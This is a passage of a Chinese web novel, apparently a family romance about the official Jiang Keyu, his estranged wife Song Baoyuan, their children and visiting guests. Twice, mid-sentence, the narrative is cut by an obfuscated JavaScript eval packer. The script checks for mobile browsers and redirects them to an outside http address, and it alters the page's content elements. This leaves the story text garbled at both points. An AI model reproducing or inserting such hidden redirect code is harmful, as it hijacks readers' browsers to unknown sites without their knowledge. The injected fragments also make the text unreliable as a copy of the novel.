江珂玉仰目,看向浑浊的天幕,忧心忡忡。 早知要下这么骇人的雨,他不该把夫人一个人丢在家中的。 “走吧。”他忽然道,拿起手边油纸伞,快步走入雨中。 常云柏反应慢了半拍,“你……刚还不着急呢。” 莫名其妙,他心中诽谤,但脚步未再停留,小跑跟上。 走得不远,不过是去了附近的官渡河,河面被雨水炸开的水花一个接着一个。 “来这干嘛?”常云柏四面张望,视野不清晰,什么都瞧不见,更别说人影了。 江珂玉没有理会他,自顾自地顺着不规则台阶往桥下走,没几步,便能瞧见桥洞底下蜷缩着的半个天青色身影。 他止步于此,不再往前。 “怎么不走了?”一直很迷茫的常云柏再次发出困惑,走到他身侧,顺着他的视线看去,满心疑惑,“那是小四?” 桥洞底下,瘦弱的姑娘抱着双膝,坐在地上,衣衫半湿。比起狼狈,更多的是柔弱破碎的美丽。 “小四?”常云柏试探地喊了一声,“小四!” 听到呼喊,盛绮音猛地扭头,瞥见雨中修长挺拔的身影,立马起身,不顾大雨跑来。 “二哥!” 她将双手交叠,遮在头顶,跑近了才发现,不止一个人,“大哥?你怎么在这?” “我还想问你呢。”常云柏将手里的伞塞到她手里,自己勾肩搭背地挤到江珂玉的伞下,心生疑团,“你怎么在这?” 他盯向江珂玉,“你又怎么知道她在这?” 盛绮音怔怔抬头,看向无动于衷的江珂玉。隔着雨幕,她看不清他的神情,更别说看透。 六年前一同出游,为了捉弄常云柏,盛绮音拉着江珂玉躲到了这桥洞底下,还信誓旦旦地说:“我每次离家出走都躲在这,从来没被发现过。” 江珂玉听着桥上常云柏因寻不到他们而着急的叫喊,不由得笑了。 盛绮音歪着脑袋,“你是第一个知道的,要替我保密,谁都不能说。” “行。” “那拉勾!” 江珂玉白她一眼,“幼稚。” “哼!” 六年后他还记得这里,但却带来了别人,盛绮音不明白,自己该不该高兴。 “找到了。”江珂玉淡淡开口,率先转身,“回去吧。” “二哥!”盛绮音慌张地叫住他。 江珂玉顿住,但没有回头。常云柏前看一眼后看一眼,不明所以。 “你是不是也觉得,是我诬蔑承承?” 江珂玉心情复杂,觉得可笑又无奈。 “江承佑的确顽劣,可他有一个,对他十分包容,甚至说得上溺爱的母亲。所以他最大的优点,就是敢作敢当。” 盛绮音睁大了失神的眼睛。 “何况他是我亲生的孩子,我是他的父亲,我怎么可能不信他,而去相信一个外人?” 外人? 这两个字像针尖一样,扎过心口,令盛绮音刺疼。 江珂玉微微侧身,语中冷厉,“我是不是也可以请你解释一下,为什么要戏弄我的孩子,针对我的夫人?” “我……”盛绮音着急地走上台阶,朝他走近,“不是这样的!” “那是怎样?” 第一次面对这样生疏冷肃的江珂玉,盛绮音说不出话来。 “什么意思?”常云柏面露愕然,“小四你……” “不是这样的!”盛绮音扬声道,“我只是、只是、是她先嘲讽我,她先针对我的!” 这话简直天方夜谭,江珂玉嗤笑,“我说过是你误解,她不是那样的人。” “她就是!” “你是觉得,你比我更了解我的妻子吗?” 盛绮音急得声颤,“她在你面前自然会装,毕竟你当年根本不是心甘情愿娶她的!” “够了!” 江珂玉忽然扬声,把搭在他肩上的常云柏吓得一颤。 “我的家事何需你来置喙?她是我的结发妻子,此生绝不会变。夫妇一体,你有意欺她辱她,与刻薄我无异!” 盛绮音愣住。 江珂玉收紧手心,“这一次,看着老师的份上,我不会再追究。但若有下次,莫怪我不念及往日情分。” 他话音落下,加快脚步离开。 盛绮音似灵魂出窍般僵在原地,脚下生根,无法动弹。 “欸?” 常云柏左右为难,走也不是,不走也不是,在雨中踌躇片刻便成了彻头彻尾的落汤鸡。 * 大雨没有减弱之势,两个孩子还没归家,宋宝媛焦虑地守在府门前等待。 终于,冒着大雨,一辆缓慢驶来的马车,停在了台阶下。 江承佑掀开车帘,露出小脑袋,大喊了一声,“娘!” “夫人别动!我们去。”巧银拦住要上前迎接宋宝媛,“要是淋了雨,您晚上定会头疼。” 巧月附和了一声,和巧银一起撑着伞下台阶,去接回两个小主子。 和江承佑、江岁穗一起回来的,还有个年轻的男子。后者用袖子遮在头顶,三步并两步跑上台阶,躲进屋檐 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御史家的独子,母亲还是将门虎女,真真是千娇百宠下长大。其人眼光甚高,恣意风流,是个随心所欲的性子。因不愿受束缚而拒绝入仕,这些年常常云游在外。即便是什么正事都不干,家里也只是哄着,纵着。 这样的人,看不上她这种出身,最正常不过。 “高叔叔!”江承佑仰着小脸,撅起嘴,“我娘跟你说话呢!” “啊?”高洛书回过神来,忙欠身行礼,收回冒犯的注视,“抱歉。” 他心中倏忽乱成一团麻,短暂地失去思考的能力,悲凉地问了个极傻的问题,甚至声音带颤,“你是、他们亲娘?” 宋宝媛不着痕迹地打量他一眼,答道:“自然。” “那你岂不是、岂不是江珂玉的……” 高洛书在这一瞬间如遭五雷轰顶。 他寤寐思复的仙女,竟然是挚友之妻? 他怀着赤诚之心,在心底不厌其烦地摹画过她的容颜,还无数次幻想过共赴风花雪月的场面,在这一刻,都变得无比龌龊。 高洛书顿感头皮发麻。 “高公子,你怎么了?”宋宝媛觉得有些奇怪。 “我……” 高洛书强行将憋闷咽回肚里,“抱歉,失态了。我只是、觉得嫂……嫂?”他从牙缝里挤出这个称呼,“你、好像和传言中的不太一样。” 宋宝媛不确定他意中所指,见他湿漉漉的,先邀请道:“高公子若是没有要紧事,先进府避避雨,顺便换件衣裳,喝口热茶吧。” “我、这……”高洛书结结巴巴,“那、那就多谢。” 宋宝媛轻笑,转身一左一右牵起两个孩子走向右边廊道,顺便出言吩咐,“巧银,去取一件郎君不常穿的衣服,再带高公子去客房更衣。” “是。” “巧月,沏壶热茶。” “是。” 高洛书呆呆愣愣地跟在她后头。 她沉静,优雅,声音温柔,笑起来更好看。 一举一动的自然柔美,一颦一簇的生动,甚至连走起路来,裙摆轻扬的弧度,都和他想象中的几乎一模一样。 怎会如此? 分岔口,巧银看着跟在自家夫人身后,瞧着比小少爷还乖的高洛书目瞪口呆。 见他快跟进内院,忙开口:“高公子!客房在这边!” 高洛书一激灵,匆忙挪开视线,望向庭院中倾盆大雨。 这下的是雨吗? 明明是泪啊…… 18. 卧房 因着大雨的缘故,天黑得比平日里早了许多。屋里纵是点了灯,也依旧昏昏暗暗。 在江府的客房,高洛书换上了江珂玉的衣服,又对着镜子仔细整理了一番,耗费了不少时间。 再由丫鬟带路去前厅,竟然迎面撞上了脚步匆忙的江珂玉。 他跟见鬼了一样睁大了眼睛,连连后退,“你怎么在这?” 冒雨赶回家的江珂玉被他这一问,生出诡异的感觉,“这不是我家吗?” “嗯……”高洛书尴尬地摸了摸脑袋,侧过身去,避开他质疑的目光。 江珂玉心中装有其他的事,并没心思深究他是否怪异,只是问道:“你送岁穗和江承佑回来的?” “对!” 话题一转,高洛书又自信起来。 但江珂玉没看他,径直往内院走去,仅仅撂下一句,“你先自己在这待会儿。” “欸?” 高洛书没拦他,只在口头上不满,原地小声诽谤,“你这什么待客之道。” 快步走进卧房,江珂玉率先看到的,是半蹲着,给江岁穗整理袖口的宋宝媛。 但先看到他的,是站在一旁无所事事的江承佑。 后者目光躲闪,下意识把自己往娘亲身后藏。 与之相反,听到脚步声的江岁穗抬头时眼前一亮,“爹爹!” 娘亲一松手,她便迫不及待地跑过去。 江珂玉蹲下身,却没像往常一样张开手接她,解释道:“爹爹身上湿,等爹爹换件衣服再抱,好不好?” “好!” 江岁穗兴奋地原地跺着脚。 宋宝媛有些惊讶,虽然时候已经不早了,但他回来的,比她预想的要早许多。 “送他们回来的高公子还在府上,夫君可有见到?” “嗯,刚刚在前厅撞上了。”江珂玉听她的语气,状态像是比自己出门前好很多,不由得松了口气,“他不服家中管教,被赶出家门。又不肯服软,身上的钱估计也花完了,所以无处可去。现下碰上个下大雨走不了的好理由,他八成会在咱们府里赖上几日。” 宋宝媛虽然听得云里雾里,但并未多问,只是点了点头,“那我去安排。” “嗯。” 江珂玉起身,站在门框边,湿答答垂落的宽袖还在向下滴着水。 宋宝媛从他身旁走过,江承佑亦步亦趋地跟着,一大一小都未看他。 只有睁着大大眼睛的江岁穗还在原地,面带疑惑,“爹爹怎么还不去换衣服,娘亲说了,湿衣服穿在身上会生病的。” 江珂玉伸手捏了捏她的脸蛋,“爹爹这就去。” 进屋前看了一眼宋宝媛离开的背影,心道夫人今日状态不好,顾得上自己和孩子已经很不容易,分不出心神来关心他也情有可原。 * 独自在前厅的高洛书里里外外逛了一圈,实在太无聊,最后蹲在屋檐下观雨。 听到声响,他立马站起来,回头看去。是下人们端来酒菜,有条不紊地在开桌布置。 “高公子稍等,我们郎君和夫人马上就出来了,您先坐。” 高洛书老老实实坐下,等得逐渐焦躁。 又过了一刻钟,终于见江珂玉抱着女儿慢悠悠走出来。 高洛书怨气横生,翻了个白眼,“你也太能磨叽了吧!我好歹是个客人,在这等得人都要枯了!” “哭一个给我瞧瞧。”江珂玉丝毫没有歉意,甚至挑衅。 高洛书愈发来气,差点拍桌子,只是手抬起来那一刻,刚好瞥见宋宝媛牵着儿子走出来。 “高公子久等了。”宋宝媛不好意思道。 她还以为江珂玉会出来招待呢,所以没管。 高洛书抿了抿嘴,轻轻放下手,不自觉调整了坐姿,声音也温和,“不、不,是我叨扰才对。” “临时准备,只来得及添几个家常菜,不知道高公子吃不吃得惯。” “吃得惯!我、我都喜欢。” 江珂玉侧目,似审视般看向说话结巴的人。 高洛书察觉到他的注视,不自觉咽了口唾沫。不知是不是自己心虚作怪,莫名感到后背发凉。 于是他清了清嗓子,反客为主,“你这么看我干嘛?” “等你邀功、接着卖惨,然后一把鼻涕一把泪,求我收留你。” 高洛书:“……” 本来是这么打算,但他此刻红了脸,“我没、我才不、你想多了!” “哦。”江珂玉语气淡淡,“那算了。” “你……”高洛书把到嘴边的咒骂艰难地咽下。 他的余光里,宋宝媛正低着头,专心致志地给女儿挑着鱼刺,似乎并没有在听他们交谈。 江珂玉被他敢怒不敢言的模样逗笑,摇了摇头,斟酒时随口问:“你还不打算回家?” “不是不想,是不能!” 谈及此事,高洛书便来气,“你知道我爹有多过分吗?此前逼我入仕也就罢了,我若考不上,他也拿我没办法。但现在我都离家出走了,他还在大张旗鼓地找媒人给我说亲。他居然想用婚事来拴住我!本来我回去最多丢个人,现在我回去,就得先被迫娶一个我不喜欢的女人,那我这辈子不就毁了?” 宋宝媛手上动作一顿,但很快恢复如常。 江珂玉嗤笑一声,“你不会还在找你那仙女吧。” 高洛书:“……” 刚刚燃起的怒火骤然烟消云散。 “小心烫。”宋宝媛对女儿低低的提醒,忽然成了整个桌上唯一的声音。 良久,高洛书垂眼,“找、吧。” 他盯着自己的碗,开始往嘴里塞食物,含糊不清地回答,“找。” 江珂玉难免感到新奇,“从前可不见你对一件事情这样执着。” “别问了。”高洛书欲哭无泪,“吃饭吧,我饿了。” 坐在他对面的江岁穗左摇右晃,躲着宋宝媛给她喂饭的勺子,“娘,我不想吃了。” 她摸了摸肚皮,“我今天和泱泱姐姐吃了好多宝宝酥,你看,我肚肚鼓鼓的。” 宋宝媛见状,放下了勺子,“那我们回屋里玩,好不好?” “好!” 宋宝媛将女儿从椅子上抱下来,欲往回走。 “夫人。”江珂玉眉头轻蹙,“可你自己还没有吃几口。” 宋宝媛笑了笑,“我也不太饿。” 她朝高洛书欠身道:“高公子慢用,我先失陪了。” 母女俩刚转身,江承佑便立马放下碗跟上,嘴里还在嚼,甚至唇边还沾着米粒。 江珂玉顺手牵羊般伸出手,揪住他的后衣领,将其拉到自己身边。 江承佑心道不好,下意识求救,欲大喊一声“娘!” 只是刚张嘴,便被捂住,发不出一点声音。 直到宋宝媛离开,江珂玉才松开捂他嘴的手。 “娘!” 江承佑无助地喊了一声,颇有要大难临头的悲戚感。 江珂玉无奈,“你怕什么?我是能吃了你吗?” “爹爹我错了。” 事已至此,江承佑乖乖站好,耷拉着脑袋,一副老实听训的模样。 “错哪了?” 江承佑沉默,咬着嘴唇不吭声。 江珂玉抬手,巴掌的阴影落在脸上,江承佑第一反应紧闭双眼,还缩起了脖子。 但想象中的疼痛没有落下,他小心翼翼眯开眼,发现爹爹只是捏掉了他嘴边的米粒。 江珂玉叹了口气,将小小的人拉得离自己更近些,“你知道,如果妹妹受了委屈,她会做什么吗?” 江承佑缓慢地睁圆了眼睛,“她会… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378976|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …跟爹爹告状。” “你不会吗?” 江承佑愣了愣,略显呆愣,“爹爹也会给我做主吗?” 江珂玉被他这话问懵了,“当然。” “可是除了娘亲以外,别人都不信我。”江承佑双手交缠,满脸毫不遮掩的委屈,想起此事便红了眼睛。 江珂玉将他抱到自己腿上,安抚地揉了揉他的脑袋,“爹也不是别人啊。” 见他失落,又道:“爹爹可以答应你一个要求,算是给你的补偿。” “真的?” 江承佑顿时仰起小脸,所有悲伤瞬间抛之脑后。 江珂玉眼皮跳了跳,“嗯。” “那我不要上学了。” 江珂玉:“……” 他勾起嘴角,尽可能让自己看起来平和,“这个不行,不上学是不可能的,换一个。” 江承佑倒也识时务,立马改口,“那我晚上要和娘亲睡。” “不行。” 江承佑垮了脸。 意识到自己语气太僵硬,江珂玉轻咳一声,努力让自己的语气和缓,解释道:“你长大了,还是男孩子,不能总黏着娘亲。” “那为什么你可以每天和娘亲睡。” “因为我是你爹。” “那我也要做你爹。” 江珂玉:“……” “噗!”一旁的高洛书差点一口饭把自己呛着,笑得上气不接下气,竖起大拇指夸赞,“承承真有志气!” 被这么直白一夸,江承佑露出了自信的笑容。 “呵。” 江珂玉扶额,被气笑了。 “江、承、佑。”他一字一顿,“你再给我说一遍试试?” 不好!这熟悉的腔调,立马让江承佑心生警惕,刚刚直起的腰又弯了下去。 他悄悄足尖点地,看准时机,跑! 他朝宋宝媛离开的方向溜之大吉,还求救似一路大喊大叫。 “娘!” * 因为喝了两杯酒,所以江珂玉回房时,比往常晚了半刻钟。 他以为宋宝媛还没睡,但回来时,却不在房中见她身影。 他没犹豫,转身往儿女房中去寻。 外面的大雨降低了耳朵的灵敏,侧躺在孩子身边的宋宝媛在房门被推开时,才发觉有人进来,立刻闭上了眼睛。 江珂玉轻手轻脚走近床榻,倾身,听到了妻子平缓的呼吸声。 哄孩子竟然把自己也哄睡了,他想,定是今日累着了。 他在一旁站了许久,最终只是给她们提了提被子,便转身离开。 感觉到房中已无他,宋宝媛无声无息睁开了木讷的眼睛。 毫无睡意。 第二日早上,雨已经停了,江珂玉又来了一趟,见母子三人都还睡着,便先行去大理寺当值了。 照例在晚饭前归家,进屋后还没坐下,就听到巧月前来禀告,“夫人,耳房已经收拾好了。” 江珂玉不解,“收拾耳房做什么?” “咳。”宋宝媛掩面低咳。 缓了一会儿才抬头解释道:“许是昨日受凉的缘故,我有些咳嗽,大夫说要四五日才能好全。免得扰你休息,我先去耳房住几日。” “我无妨的。” “你白日还要诸事要忙,晚上当然要休息好。” 江珂玉怔然,垂首看向手中的汤碗,“你既病了,更应该休息好。突然搬去耳房,你定会不习惯的。” 宋宝媛眉目淡淡,“没关系,不过几日。” 她句句平静,态度却坚决,江珂玉纵然不喜欢她这样的退让,也只能妥协。 “正好这几日有许多卷宗要看,我在书房睡下便是。你不用费神搬动,也打搅不到我。” 江珂玉没想到,这书房一睡,就是半月有余。 19. 默契 不知不觉过了半个多月,似乎除了不再同榻而眠,这些日子和从前相比,也并无差别。 一个早出晚归的丈夫,一个照顾孩子早睡晚起的妻子,每日里说不上几句话,却能将这个家无期限地运转。 或许,是有某种难以言明的默契存在。 入夜,宋宝媛散发站在窗前,抬头盯着天边的月亮发呆。 余光中,修长的身影穿过廊道,她下意识转身,却不小心碰倒了手边的铜镜。 “砰!” 镜子瞬间破碎的声音,在一片寂寂中极为突兀,惹得人心跟着颤。 原本脚步从容的江珂玉听到声响,加快脚步,走进屋来,见衣衫单薄的妻子蹲在地上捡碎片,蓦然心急,“别动!” 宋宝媛手上动作顿了顿,盯着碎镜子中不完整的自己。 “怎么一个人在屋里。”江珂玉走近,蹲下身来,替她收拾,“巧月和巧银呢?” “想自己安静会儿。”宋宝媛低声道,“就让她们忙别的去了。” 屋里只有他们二人,莫名令她紧张。 江珂玉没再出声,准确来说,是不知道该说什么。 彼此陷入沉默,屋里只剩镜子碎片相碰的细碎声响。 直到地面干净,两人站起来,却不约而同地错开视线。 半晌,江珂玉走向矮桌,捡起一本薄薄的册子。 “前阵子把这东西落这了,可算找着。”他边说边往外走,“我还有卷宗要看,就先回书房了,你早点休息。” “嗯。” 宋宝媛呆呆地站在原地,过了许久,才扭头看向他离开的方向。 他走了,自己浑身都轻松了许多。 宋宝媛缓慢地走向床榻,侧身倒入松软的被褥,且沉沉地叹了口气。 她神色恍惚,想起很多年前,每一次与“兄长”相处,她都会像刚刚那样紧张。总是生怕自己哪里不像个淑女,生怕给他留下不好的印象,生怕他会因为一些细节,不喜欢自己。 可刚才怕的,仅仅就是与他相处。 宋宝媛知道,自己现在的所作所为完全是在逃避。 虽然可耻,但至少有了喘息的机会。 书房的灯都没点。 江珂玉一进屋,就随手将书册往案桌上一丢。自己躺上软榻,用袖子遮了眼,心思有点乱。 他知道夫人近来心情不好,也知道自己作为丈夫,理应陪伴开解。 可真到了面前,甚至都张开了嘴,脑子却一片空白。 就像回到了“妹妹”突然变成了“妻子”的那一段时间,因为身份的猛然转变,他无所适从,根本不知该如何面对她。 …… 罢了。 一如当年,他只能指望时间来冲刷所有情绪。 大不了,他再多睡一阵书房。 * 翌日傍晚,黄昏中的静斋极美,可氛围却尤为沉闷。 本就心绪不佳的宋宝媛更加郁闷,只因两刻钟前,静斋的侍女一路小跑去后院,气喘吁吁地向她说明发生了什么。 江承佑才跟夫子学几日便开始坐不住,老爱问夫子无关课堂的问题,来拖延上课的时间。 今日便问道:“我为什么要上学?” 庄夫子是个有耐心的人,“读书明智,你日后才能成为有智慧的人。” 许是为了拉近距离,他又道:“读透了书,你才能像你爹爹一样,将来科举入仕,做独当一面,造福百姓的好官。” 江承佑歪着脑袋,“那夫子您怎么没有像我爹爹一样?” “因为……”庄英许语塞片刻,诚然回答,“因为夫子不如你爹爹,没有中榜。” “中榜是什么?”江承佑听不明白,但抓住了重点,“既然夫子自己都不能中榜,那怎么把我教中榜?” 他将手里的笔一丢,撒腿就跑,“夫子一点都不厉害,我不要跟夫子学了!” 庄英许愣住,一时竟无法反驳。 江承佑当然被逮回来了,宋宝媛不得不出面,一同来到静斋。 隔着书桌面对面,庄英许脸色不太好,但仍彬彬有礼,“怎还劳烦宋夫人亲自来了。” “幼子顽劣,还请先生海涵。”宋宝媛面带歉意,“他爹爹马上就回来了,到时候一定好好教训他,再给先生赔不是。” 站在一旁的江承佑一听到“爹爹”二字便怂了,耷拉着脑袋。 “江承佑。”宋宝媛冷着脸,“过来给夫子道歉。” 娘亲从来没有训斥过他,甚至没对他说过重话。江承佑只是听到自己的大名从她嘴里出来,心就凉了半截,无比慌张。 “娘……” “快跟夫子道歉!” 江承佑扁了扁嘴,上前乖乖行礼,“夫子对不起。” “没关系。”庄英许笑道,无心为难他,“你也没有说错。” 宋宝媛顿时心惊,瞥见对方眸中黯然,更生愧疚,“先生满腹经纶,学富五车,还请不要因孩子无知之言妄自菲薄。” “宋夫人客气了。”庄英许垂眼,“我的确是不如江兄。实话实说,纵是倾尽所能,也未必能将贵公子培养成才。” 宋宝媛愣了愣,“是因为、他不服管教吗?” “不,是我的问题。”庄英许不自觉收紧掌心,“我的确自己都未能中榜,若非江兄抬举,根本没资格做贵公子的老师。” 他说话时,巧月端来了茶壶,正欲看茶,被宋宝媛制止。 “我来吧。”宋宝媛起身,亲自动手,“金榜题名纵然是好,但我想,这和是不是一个好老师,并无直接的关系。退一万步说,先生只参加过一次春闱,而这天底下一次就中的人少之又少。先生若因这一次失利就否定自己,得叫多少人寒心。” 庄英许苦笑,“宋夫人言重了。” “先生来之前,夫君与我说过,先生有大才。若有心科举,定能成功。”宋宝媛手上动作流利,“可为何先生,不再尝试了呢?” 庄英许怔然,耳边骤然响起多年前的声音,脑海中也浮现被自己埋葬的记忆。 那时他还年少,看见心爱的姑娘伤心难过,便鼓起勇气,表明心意。 “你当我是没人要吗?你拿什么跟他比?你当我收破烂的吗?” “下一次,你相信我,我下一次一定能考上!” “你考不上!你再考一百次、一千次、一万次都考不上!” 他考不上,庄英许知道。 他心爱的姑娘,早早告知了他结果。 “我的确是不行。”他怔怔重复道。 宋宝媛对他的反应感到诧异,但无心深究。 她将倒好的茶推到对面,诚恳道:“不瞒先生,比起金榜题名这种遥远又难得的事情。我更希望承承能从先生这里学到的,是明辨是非,自信自立。遇到困难,我不怕他遭遇失败,我只愿他不要自我怀疑,不要丢掉心气。望他无论身处何种境地,都不缺从头再来的勇气。” 她轻笑,“希望先生也是。” 庄英许微怔。 他低着头,可以从茶面的倒影,看到女子温婉的笑意。 似春风般,慰藉人心。 “多谢。”他抬眸。 端起茶杯,借其遮掩,不着痕迹地将眼前之人姣好的容颜收入眼底。 他扯动嘴角,沉声道:“多谢宋夫人的茶。” 宋宝媛颔首,松了口气,嫣然一笑。 这是近一个月以来,江珂玉从夫人脸上见到的第一个笑容。 他静静站在静斋门口,透过窗户,及时窥见了这一抹残存的笑意。 莫名刺眼。 因为误了晚饭时候,江珂玉一回来便得知了江承佑的所作所为,连忙抱着在门口等他的江岁穗一起赶来了静斋。 此刻江岁穗趴在他肩头,小声问:“爹爹,怎么不走了?” 江珂玉回过神来,侧目看向眨巴眼睛的女儿,若有所思。 “爹爹?” 江珂玉忽地笑了笑,抬手捏了捏她的脸,“突然想起来,好像有什么答应岁穗的事情忘记了。” 江岁穗倏忽直起腰,睁大眼睛仔细回忆,“爹爹答应……给我买糖葫芦!” “真的吗?”江珂玉眯起了眼。 江岁穗心虚地吐了吐舌头,“那爹爹是答应……” 她挠挠头,像是在冥思苦想。 “岁穗要是想不起来,那应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15393880|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没有这回事。” “有!”江岁穗着急道,抓紧了爹爹肩头的衣服,“有的!” 江珂玉佯装思考,“难道是答应晚上给岁穗讲故事?” “对对对!” 得到就是赚到,江岁穗不管什么都先应下,再捉摸,“讲故事,爹爹要给我讲故事……” 她忽然眼前一亮,“我想起来了!爹爹答应给我生妹妹!” “有吗?”江珂玉眉头轻蹙,目露怀疑。 江岁穗一个劲地拍他肩膀,像是生怕他不认,“有的、有的!你和娘亲亲口答应我的!” 江珂玉不语,一副伤脑筋,怎么都想不起来的样子。 “真的有!”江岁穗撅起嘴,“不信的话,你待会儿问娘,还有哥哥!” “哦。” 江珂玉不咸不淡地应了一声,阔步往前走。 江岁穗气急,扯着嗓子大喊,“娘!娘!” 屋里的人皆闻声看去,江珂玉抱着女儿,脚步淡定地走进屋里。 “娘!”江岁穗迫不及待地朝娘亲伸出双臂,义愤填膺,“你快跟爹爹说,你们是不是答应过我,要给我生妹妹!” 宋宝媛眸光一滞,僵了片刻。 江珂玉自然地捂上江岁穗的嘴,朝庄英许尴尬地笑笑,“小孩子想一出是一出,见笑了。” 他又扭头将女儿交到宋宝媛手里,“你先带岁穗回去用晚饭,剩下的我来处理。” “嗯……哦。” 宋宝媛应下,避开他的目光,接过了女儿,又面无表情地瞥了一眼无措的儿子。 她没有多言,当作没看见夫君拦下儿子来抓她衣角的手。 * 月光下,伴随着清风,树影摇曳。 父子俩隔着三尺远,一前一后穿行在没有其他人的走廊。 前面的江珂玉顿住脚步,后面的江承佑立刻不敢动弹,全身上下都写着拘谨。 “过来。”江珂玉冷声道。 江承佑抿着嘴,脚下生根,丝毫不敢轻举妄动。 江珂玉耐心耗尽,转身朝他走去。 爹爹的影子笼罩而来,江承佑吓得赶紧抱头蹲下,“爹爹我错了!我真的知道错了,我再也不敢了!” 江珂玉“啪”的一下将他的手打掉,揪上他的耳朵,“叫那么大声干什么?又指着你娘听见来救你吗?你再敢在你娘面前装可怜,信不信我……” “唔!” “还敢哭?” 江承佑委屈极了,“不是我!” 江珂玉松了手,循着哭声回头。竟然是江岁穗的声音,从里屋传来。 他快步穿过走廊,跨入屋内,只见江岁穗岔开腿坐在地上,哭得泪流满面。宋宝媛蹲在一旁手足无措,轻声哄着,但不见效果。 “怎么了?” “爹爹!”江岁穗撒泼一样蹬着腿,“娘亲说话不算话,她不愿意给我生妹妹!” “我……”宋宝媛无从辩驳。 江珂玉目光微滞,看向妻子,后者似乎躲闪,避开了他的视线。 “我就要妹妹!就要!凭什么哥哥可以有妹妹,我不可以有!” 江珂玉在片刻的头脑空白后,弯腰抱起女儿,搂在怀中拍背安抚,“好了岁穗,不要哭了。” “你们说话不算话!” “没有,爹爹……”江珂玉一时无言。 宋宝媛缓慢站起来,双手交缠在身后。 “你为何……”江珂玉背过身,“我知生育艰险,你若不愿意,自然不会有人强迫。但岁穗还是个孩子,说过的话过阵子也就忘了,你又何必与她直言。” 他说完,走出门去。 宋宝媛站在原地,久久无言。 刚刚……是在责怪她吗? 江珂玉前脚刚抱着伤心的女儿离开,后脚江承佑就跑进了屋内,扑向娘亲。 在庭院中,江珂玉抱着女儿走了一圈又一圈,哄着她从嚎啕变抽泣,终于让她安静下来。 屋内,宋宝媛坐在桌边,身旁是儿子在安静地自己吃饭。 门是大敞的,月光大大方方爬过了门槛,接受着注视。 因为目光是无声的,所以里外都寂静无比。